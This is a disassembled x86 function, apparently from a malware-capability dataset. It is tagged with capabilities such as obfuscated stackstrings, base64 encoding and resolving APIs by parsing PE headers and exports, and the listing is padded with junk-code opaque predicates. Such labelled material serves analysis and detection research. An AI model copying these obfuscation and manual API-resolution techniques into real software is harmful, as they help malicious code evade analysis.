Function at 0x1004068a
Capabilities:
Contain obfuscated stackstrings
Encode data using base64
Enumerate pe sections
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007c136
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xdb8
and dword [ebp - 0x14], 0
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100463c6
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x85c], 4
mov dword [ebp - 0x960], 0xffffffff
mov byte [ebp - 0xd9], 0
movzx eax, byte [ebp - 0xd9]
test eax, eax
je 0x100406ec
push 0
call fcn.1003fb07
pop ecx
lea eax, [ebp - 0x85c]
push eax
push 1
lea eax, [ebp - 0x960]
push eax
call fcn.1003f508
add esp, 0xc
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x274], 0xffff
mov dword [ebp - 0x6e4], 0xfffffffd
mov dword [ebp - 0x360], 0xfffffffb
mov dword [ebp - 0x968], 0xa2ca335c
mov dword [ebp - 0x70], 0
jmp 0x10040745
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x1004075b
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xa58], 0xcf8
jmp 0x1004073e
mov dword [ebp - 0x70], 0
jmp 0x1004076b
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x10040781
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xa98], 0x95e0e2bf
jmp 0x10040764
cmp dword [ebp - 0x274], 0
je 0x100408bd
cmp dword [ebp - 0x274], 0x60a421e0
je 0x100407a6
mov dword [ebp - 0x410], 1
jmp 0x100407ad
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x274]
cmp eax, dword [ebp - 0x410]
jne 0x100407c7
mov dword [ebp - 0x770], 1
jmp 0x100407ce
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x274]
cmp dword [ebp - 0x770], eax
jle 0x100407e8
mov dword [ebp - 0x7c8], 1
jmp 0x100407ef
and dword [ebp - 0x7c8], 0
imul eax, dword [ebp - 0x7c8], 0x4d39
test eax, eax
jne 0x10040809
mov dword [ebp - 0x79c], 1
jmp 0x10040810
and dword [ebp - 0x79c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa58]
cmp dword [ebp - 0x79c], eax
je 0x10040831
mov dword [ebp - 0x77c], 1
jmp 0x10040838
and dword [ebp - 0x77c], 0
cmp dword [ebp - 0x77c], 0x63069be5
jle 0x10040850
mov dword [ebp - 0x6e8], 1
jmp 0x10040857
and dword [ebp - 0x6e8], 0
mov dword [ebp - 0x6e4], 0x5059b8bc
mov eax, dword [ebp - 0x6e4]
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x6e8]
add eax, 0x4cbed562
cmp dword [ebp - 0x360], eax
jl 0x10040895
cmp dword [ebp - 0x968], 0
je 0x10040895
mov dword [ebp - 0x6f0], 1
jmp 0x1004089c
and dword [ebp - 0x6f0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6f0]
sub ecx, dword [ebp + eax - 0xa58]
je 0x100408bd
mov dword [ebp - 0x368], 1
jmp 0x100408c4
and dword [ebp - 0x368], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x368]
mov dword [ebp + eax - 0xa98], ecx
mov eax, dword [ebp - 0x3b8]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x100408ec
jmp 0x1004645f
mov dword [ebp - 0x270], 0x34bf8f0a
mov dword [ebp - 0x330], 0x307d7c11
mov dword [ebp - 0x2c8], 0xffffffff
mov dword [ebp - 0xc8], 0x320e32cf
mov dword [ebp - 0x280], 0x49aaed6b
mov dword [ebp - 0x820], 1
mov dword [ebp - 0x81c], 1
mov dword [ebp - 0x818], 1
mov dword [ebp - 0x814], 1
mov dword [ebp - 0x284], 0
mov dword [ebp - 0x10c], 0xffffffff
mov dword [ebp - 0x1d0], 0xffffffff
mov dword [ebp - 0x728], 0x47c914a3
mov dword [ebp - 0x9bc], 5
mov dword [ebp - 0x27c], 0
jmp 0x10040991
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 1
jge 0x100409ad
mov eax, dword [ebp - 0x27c]
mov dword [ebp + eax*4 - 0x9c4], 1
jmp 0x10040984
cmp dword [ebp - 0x2c8], 0
jne 0x10040a65
mov eax, dword [ebp - 0x284]
mov dword [ebp - 0xbdc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x820]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x330]
cmp dword [ebp - 0x280], eax
jg 0x100409f3
mov dword [ebp - 0x6f8], 1
jmp 0x100409fa
and dword [ebp - 0x6f8], 0
imul eax, dword [ebp - 0x6f8], 0x5bb0
imul eax, dword [ebp - 0xc8]
test eax, eax
je 0x10040a20
or eax, 0xffffffff
je 0x10040a20
mov dword [ebp - 0x370], 1
jmp 0x10040a27
and dword [ebp - 0x370], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x820]
cmp dword [ebp - 0x370], eax
jl 0x10040a47
mov dword [ebp - 0x700], 1
jmp 0x10040a4e
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x280]
cmp eax, dword [ebp - 0x700]
jle 0x10040a65
and dword [ebp - 0x378], 0
jmp 0x10040a6f
mov dword [ebp - 0x378], 1
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x378], eax
jne 0x10040a89
mov dword [ebp - 0x708], 1
jmp 0x10040a90
and dword [ebp - 0x708], 0
cmp dword [ebp - 0x708], 0xffffffff
je 0x10040aab
cmp dword [ebp - 0x1d0], 0
jne 0x10040aab
and dword [ebp - 0x380], 0
jmp 0x10040ab5
mov dword [ebp - 0x380], 1
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x99c], eax
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x9a4], eax
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x99c]
cmp eax, dword [ebp - 0x9a4]
jge 0x10040af4
mov dword [ebp - 0x9ac], 1
jmp 0x10040afb
and dword [ebp - 0x9ac], 0
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0xb64], eax
cmp dword [ebp - 0x270], 0
jne 0x10040b31
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x820], 0
jne 0x10040b31
cmp dword [ebp - 0x280], 0
jne 0x10040b31
and dword [ebp - 0x710], 0
jmp 0x10040b3b
mov dword [ebp - 0x710], 1
mov eax, dword [ebp - 0x728]
cmp dword [ebp - 0x710], eax
jle 0x10040b55
mov dword [ebp - 0x388], 1
jmp 0x10040b5c
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x388]
sub eax, 6
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x284], eax
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0
je 0x10040ba1
cmp dword [ebp - 0x10c], 0
je 0x10040ba1
mov dword [ebp - 0x718], 1
jmp 0x10040ba8
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x1d0]
cmp eax, dword [ebp - 0x718]
jl 0x10040bc2
mov dword [ebp - 0x390], 1
jmp 0x10040bc9
and dword [ebp - 0x390], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x820]
add eax, dword [ebp - 0x390]
sub eax, dword [ebp - 0x10c]
cmp eax, 0x9afff74b
jae 0x10040bf4
mov dword [ebp - 0x720], 1
jmp 0x10040bfb
and dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x284], eax
mov eax, dword [ebp - 0x270]
cmp dword [ebp - 0x284], eax
jl 0x10040c21
mov dword [ebp - 0x398], 1
jmp 0x10040c28
and dword [ebp - 0x398], 0
imul eax, dword [ebp - 0x398], 6
cmp eax, dword [ebp - 0xc8]
jl 0x10040c43
mov dword [ebp - 0x9b4], 1
jmp 0x10040c4a
and dword [ebp - 0x9b4], 0
mov eax, dword [ebp - 0x728]
mov dword [ebp - 0xbe0], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x820]
mov dword [ebp - 0xb74], eax
mov eax, dword [ebp - 0x9bc]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x9c4]
xor ecx, ecx
sub ecx, eax
cmp ecx, 8
jge 0x10040c90
mov dword [ebp - 0x3a0], 1
jmp 0x10040c97
and dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x3a0]
sub eax, dword [ebp - 0xc8]
imul eax, eax, 0x963e
cmp eax, 0xb100
jle 0x10040cbc
mov dword [ebp - 0x730], 1
jmp 0x10040cc3
and dword [ebp - 0x730], 0
cmp dword [ebp - 0x730], 0xcc425f8e
jae 0x10040cdb
mov dword [ebp - 0x3a8], 1
jmp 0x10040ce2
and dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x3a8]
sub eax, dword [ebp - 0x10c]
mov dword [ebp - 0x738], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x738]
mov dword [ebp + eax - 0x820], ecx
mov eax, dword [ebp - 0x738]
sub eax, dword [ebp - 0x280]
cmp eax, dword [ebp - 0x1d0]
jg 0x10040d2c
cmp dword [ebp - 0x270], 0
jne 0x10040d2c
and dword [ebp - 0x3b0], 0
jmp 0x10040d36
mov dword [ebp - 0x3b0], 1
mov eax, dword [ebp - 0x3b0]
sub eax, 0xc660
cmp eax, dword [ebp - 0x1d0]
jl 0x10040d55
mov dword [ebp - 0x740], 1
jmp 0x10040d5c
and dword [ebp - 0x740], 0
mov eax, dword [ebp - 0x740]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x3b8]
mov ecx, dword [ebp - 0x20]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0x160], 0xfffffffe
mov dword [ebp - 0x160], 0
jmp 0x10040d9d
mov eax, dword [ebp - 0x160]
dec eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0xffffffe2
jge 0x10040dce
mov byte [ebp - 0x103], 0
movzx eax, byte [ebp - 0x103]
test eax, eax
je 0x10040dcc
push 0x1592
push 0x500c
push 0
call fcn.1003fa5d
add esp, 0xc
jmp 0x10040d90
push 1
lea eax, [ebp - 0x160]
push eax
push 0x24a0
call fcn.1003f657
add esp, 0xc
mov eax, dword [ebp - 0xf0]
cmp dword [eax], 0x4550
je 0x10040df7
jmp 0x1004645f
mov dword [ebp - 0xc08], 0x4a9b
mov dword [ebp - 0xc04], 0x4a9b
mov dword [ebp - 0xc00], 0x4a9b
mov dword [ebp - 0xbfc], 0x4a9b
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x10040e39
push 0
call fcn.1003f7c9
pop ecx
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x10040e5a
push 0x25af
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xf0]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0xd0], 6
mov dword [ebp - 0x9f0], 0xfffffff8
mov dword [ebp - 0x25c], 0
jmp 0x10040e9a
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 3
jge 0x10040eb6
mov eax, dword [ebp - 0x25c]
mov dword [ebp + eax*4 - 0xb70], 0x5f70ad6f
jmp 0x10040e8d
mov dword [ebp - 0xd0], 2
jmp 0x10040ecf
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jl 0x10040f20
mov eax, dword [ebp - 0xd0]
cmp dword [ebp + eax*4 - 0xb70], 0
je 0x10040eea
jmp 0x10040f20
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xd0]
cmp dword [ebp + eax*4 - 0xb70], ecx
jle 0x10040f0b
mov dword [ebp - 0x748], 1
jmp 0x10040f12
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0x9f0], eax
jmp 0x10040ec2
push 1
push 0x3f1c
call fcn.1003f71b
pop ecx
pop ecx
mov eax, dword [ebp - 0x44]
cmp dword [eax + 4], 0
jne 0x10040f3c
jmp 0x1004645f
mov dword [ebp - 0x264], 3
mov dword [ebp - 0x1d8], 0
jmp 0x10040f5f
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 4
jge 0x10040f7b
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0xc1c], 0x7786
jmp 0x10040f52
mov dword [ebp - 0x264], 0
jmp 0x10040f94
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 3
jg 0x1004110f
mov dword [ebp - 0xd8], 1
mov dword [ebp - 0xd8], 3
jmp 0x10040fc4
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0
jl 0x1004110a
mov dword [ebp - 0x15c], 0xfffffff8
mov dword [ebp - 0x26c], 0
jmp 0x10040ff4
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 1
jge 0x10041010
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0x9f8], 0xebfb2c41
jmp 0x10040fe7
mov dword [ebp - 0x15c], 3
jmp 0x10041029
mov eax, dword [ebp - 0x15c]
dec eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0
jl 0x10041105
mov dword [ebp - 0x3d0], 0x823aaf5b
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xd8]
cmp dword [ebp + eax - 0xc1c], ecx
jg 0x10041061
mov dword [ebp - 0x3c0], 1
jmp 0x10041068
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0x15c]
add eax, dword [ebp - 0x3c0]
mov ecx, dword [ebp - 0xd8]
cmp eax, dword [ebp + ecx*4 - 0xc1c]
jg 0x1004108f
mov dword [ebp - 0x750], 1
jmp 0x10041096
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp + eax*4 - 0xc1c]
cmp eax, dword [ebp - 0x750]
jle 0x100410b7
mov dword [ebp - 0x3c8], 1
jmp 0x100410be
and dword [ebp - 0x3c8], 0
mov eax, dword [ebp - 0x3c8]
add eax, 0x5f9a3d23
cmp eax, 0xffffffff
jl 0x100410da
mov dword [ebp - 0x758], 1
jmp 0x100410e1
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x3d0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp + eax - 0x9f8], ecx
jmp 0x1004101c
jmp 0x10040fb7
jmp 0x10040f87
and dword [ebp - 0x2c], 0
mov dword [ebp - 0x7bc], 0x38462751
mov dword [ebp - 0x7b8], 0x38462751
mov dword [ebp - 0x7b4], 0x38462751
mov dword [ebp - 0x7b0], 0x38462751
mov dword [ebp - 0x5e4], 0
mov dword [ebp - 0x340], 0x827359b5
mov dword [ebp - 0x338], 3
mov dword [ebp - 0xa00], 0xffff
mov dword [ebp - 0x3ec], 0xfffffff8
mov dword [ebp - 0x3fc], 0
mov dword [ebp - 0xa10], 0x1ad5b481
mov dword [ebp - 0x98], 0
jmp 0x1004119a
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x100411b6
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0xa08], 0xafd47030
jmp 0x1004118d
mov dword [ebp - 0x98], 0
jmp 0x100411cf
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x100411eb
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0xc80], 0
jmp 0x100411c2
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x7bc]
mov dword [ebp - 0x338], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x7bc]
cmp dword [ebp - 0x338], eax
jne 0x1004121e
mov dword [ebp - 0x760], 1
jmp 0x10041225
and dword [ebp - 0x760], 0
cmp dword [ebp - 0x760], 0xfffffffc
jae 0x1004123a
mov dword [ebp - 0x768], 1
jmp 0x10041241
and dword [ebp - 0x768], 0
cmp dword [ebp - 0x768], 0
jle 0x10041256
mov dword [ebp - 0x3dc], 1
jmp 0x1004125d
and dword [ebp - 0x3dc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x7bc]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0x7bc]
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x340]
imul eax, dword [ebp - 0x3dc]
add eax, dword [ebp - 0xa00]
je 0x100412a7
cmp dword [ebp - 0x338], 0
je 0x100412a7
mov dword [ebp - 0x3e4], 1
jmp 0x100412ae
and dword [ebp - 0x3e4], 0
mov dword [ebp - 0x5e4], 0x3880
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0x3e4]
jl 0x100412cd
push 9
pop eax
test eax, eax
jne 0x100412df
cmp dword [ebp - 0x340], 0
jne 0x100412df
and dword [ebp - 0x778], 0
jmp 0x100412e9
mov dword [ebp - 0x778], 1
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x5ec], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x5ec]
mov dword [ebp + eax - 0xa08], ecx
cmp dword [ebp - 0x5ec], 0xffffffff
jne 0x10041329
mov dword [ebp - 0x3f4], 1
jmp 0x10041330
and dword [ebp - 0x3f4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7bc]
cmp dword [ebp - 0x3f4], eax
jne 0x10041351
mov dword [ebp - 0x6ec], 1
jmp 0x10041358
and dword [ebp - 0x6ec], 0
cmp dword [ebp - 0x6ec], 0x3765
jg 0x10041370
mov dword [ebp - 0x348], 1
jmp 0x10041377
and dword [ebp - 0x348], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x348]
mov dword [ebp + eax - 0xc80], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7bc]
imul eax, dword [ebp - 0x348]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x7bc]
add ecx, eax
mov dword [ebp - 0x3fc], ecx
jne 0x100413c1
mov dword [ebp - 0x5f4], 1
jmp 0x100413c8
and dword [ebp - 0x5f4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7bc]
cmp dword [ebp - 0x5f4], eax
jle 0x100413e9
mov dword [ebp - 0x404], 1
jmp 0x100413f0
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0xa10], eax
mov eax, dword [ebp - 0xf0]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0xf0]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x118], eax
and dword [ebp - 0x350], 0
jmp 0x1004143b
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x118]
add eax, 0x28
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0xf0]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x350], eax
jge 0x100414bc
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x76c], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x76c]
jb 0x100414b7
mov eax, dword [ebp - 0xf0]
push dword [eax + 0x38]
mov eax, dword [ebp - 0x118]
push dword [eax + 8]
call fcn.1003f4d9
pop ecx
pop ecx
add eax, dword [ebp - 0x76c]
mov dword [ebp - 0xa18], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
cmp eax, dword [ebp - 0xa18]
jae 0x100414b7
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x118]
push eax
push 0x4290
push 0
call fcn.1003ffe9
add esp, 0x10
jmp 0x100414bc
jmp 0x1004141f
mov dword [ebp - 0xa8], 0xd4e06482
mov dword [ebp - 0xc20], 0xff12f3cc
mov dword [ebp - 0x40c], 0x9f08664a
mov dword [ebp - 0x28], 0
jmp 0x100414ea
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 4
jge 0x10041500
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xc64], 0xffff
jmp 0x100414e3
mov dword [ebp - 0x28], 0
jmp 0x10041510
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x10041526
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xa80], 0xffffffff
jmp 0x10041509
mov dword [ebp - 0x28], 0
jmp 0x10041536
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jge 0x1004154c
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd74], 1
jmp 0x1004152f
mov dword [ebp - 0xa8], 0
jmp 0x10041565
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0xffffffe3
jg 0x1004163b
mov dword [ebp - 0x1e4], 0
jmp 0x1004158b
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 3
jge 0x100415a7
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x82c], 0x7d45db34
jmp 0x1004157e
mov byte [ebp - 0xf1], 0
push 0x44c0
lea eax, [ebp - 0xf1]
push eax
push 0x7f6c
push 1
push 0x64cc
call fcn.1003f761
add esp, 0x14
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x82c], 0
jmp 0x100415fc
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x82c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x82c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x82c], 3
jg 0x10041636
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x82c]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x82c]
mov eax, dword [ebp + eax*4 - 0xc64]
mov dword [ebp + ecx*4 - 0xc64], eax
jmp 0x100415e1
jmp 0x10041558
mov dword [ebp - 0x40c], 1
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0xacc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa80]
mov dword [ebp - 0xad0], eax
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], eax
jle 0x1004167e
mov dword [ebp - 0x5fc], 1
jmp 0x10041685
and dword [ebp - 0x5fc], 0
cmp dword [ebp - 0x5fc], 0
jge 0x1004169a
mov dword [ebp - 0x414], 1
jmp 0x100416a1
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x16e0
jge 0x100416c5
mov dword [ebp - 0x6f4], 1
jmp 0x100416cc
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0x6f4]
add eax, 0x77
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa80], eax
cmp dword [ebp - 0x2c], 0
jne 0x100416ed
jmp 0x1004645f
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x2c]
add ecx, dword [eax]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x858], 0x32bb11ac
mov dword [ebp - 0x854], 0x32bb11ac
mov dword [ebp - 0x850], 0x32bb11ac
mov dword [ebp - 0x84c], 0x32bb11ac
mov dword [ebp - 0x238], 0
jmp 0x1004173c
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 3
jge 0x10041758
mov eax, dword [ebp - 0x238]
mov dword [ebp + eax*4 - 0xa38], 2
jmp 0x1004172f
mov byte [ebp - 0x101], 0
movzx eax, byte [ebp - 0x101]
test eax, eax
je 0x1004177e
push 0x57f6
push 0
push 0x1772
call fcn.1003fb3e
add esp, 0xc
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x858], 0
je 0x1004179a
mov dword [ebp - 0x41c], 1
jmp 0x100417a1
and dword [ebp - 0x41c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xa38]
cmp dword [ebp - 0x41c], eax
jle 0x100417c1
mov dword [ebp - 0x780], 1
jmp 0x100417c8
and dword [ebp - 0x780], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0xa38]
cmp dword [ebp + eax - 0x858], ecx
jg 0x100417f3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa38], 0
jne 0x1004180c
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x858], 0
jne 0x1004180c
and dword [ebp - 0x604], 0
jmp 0x10041816
mov dword [ebp - 0x604], 1
mov eax, dword [ebp - 0x604]
add eax, 0xfff9
cmp eax, 0xd0e75d5
jl 0x10041834
mov dword [ebp - 0x424], 1
jmp 0x1004183b
and dword [ebp - 0x424], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x858]
cmp dword [ebp - 0x424], eax
je 0x10041861
or eax, 0xffffffff
je 0x10041861
mov dword [ebp - 0x42c], 1
jmp 0x10041868
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x780]
cmp eax, dword [ebp - 0x42c]
jg 0x10041882
mov dword [ebp - 0x60c], 1
jmp 0x10041889
and dword [ebp - 0x60c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x858]
cmp eax, dword [ebp - 0x60c]
jne 0x100418aa
mov dword [ebp - 0x434], 1
jmp 0x100418b1
and dword [ebp - 0x434], 0
cmp dword [ebp - 0x434], 0xe83
jle 0x100418c9
mov dword [ebp - 0x6fc], 1
jmp 0x100418d0
and dword [ebp - 0x6fc], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp + eax - 0xa38], ecx
xor ecx, ecx
call fcn.1002e535
push eax
call fcn.10062b58
pop ecx
mov dword [ebp - 0x464], 7
mov dword [ebp - 0x86c], 0
mov dword [ebp - 0x864], 1
mov dword [ebp - 0x70c], 0
mov dword [ebp - 0x774], 0xa5308633
mov dword [ebp - 0x9c8], 0
mov dword [ebp - 0x45c], 8
mov dword [ebp - 0x47c], 1
mov dword [ebp - 0xa1c], 0xfffffffb
mov dword [ebp - 0xad8], 1
mov dword [ebp - 0x1ec], 0xffffffff
mov dword [ebp - 0x44c], 1
mov dword [ebp - 0x874], 0x18838009
mov dword [ebp - 0x34c], 0x3b06d9e9
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x78], 0
jmp 0x10041996
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x100419ac
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0xc8c], 0xce3d97
jmp 0x1004198f
mov dword [ebp - 0x78], 0
jmp 0x100419bc
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 3
jge 0x100419d2
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0xa44], 0x18909893
jmp 0x100419b5
mov eax, dword [ebp - 0x34c]
dec eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x45c], 0
je 0x10041a5b
cmp dword [ebp - 0x1ec], 0
je 0x10041a2c
mov eax, dword [ebp - 0xa1c]
cmp dword [ebp - 0x44c], eax
jl 0x10041a0b
mov dword [ebp - 0x43c], 1
jmp 0x10041a12
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x1ec]
cmp dword [ebp - 0x43c], eax
jl 0x10041a2c
mov dword [ebp - 0x614], 1
jmp 0x10041a33
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x34c]
imul eax, dword [ebp - 0x614]
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0
je 0x10041a5b
mov dword [ebp - 0x980], 1
jmp 0x10041a62
and dword [ebp - 0x980], 0
mov dword [ebp - 0x774], 0xfffffffa
mov eax, dword [ebp - 0x864]
cmp dword [ebp - 0x774], eax
je 0x10041a86
mov dword [ebp - 0x958], 1
jmp 0x10041a8d
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0x9c8]
mov dword [ebp - 0xb10], eax
push 7
pop eax
sub eax, dword [ebp - 0x44c]
